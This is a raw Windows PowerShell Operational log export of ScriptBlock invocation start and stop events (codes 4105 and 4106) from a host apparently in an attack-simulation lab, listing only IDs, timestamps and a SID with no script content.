Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035319
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035317
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035316
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035299
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035293
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
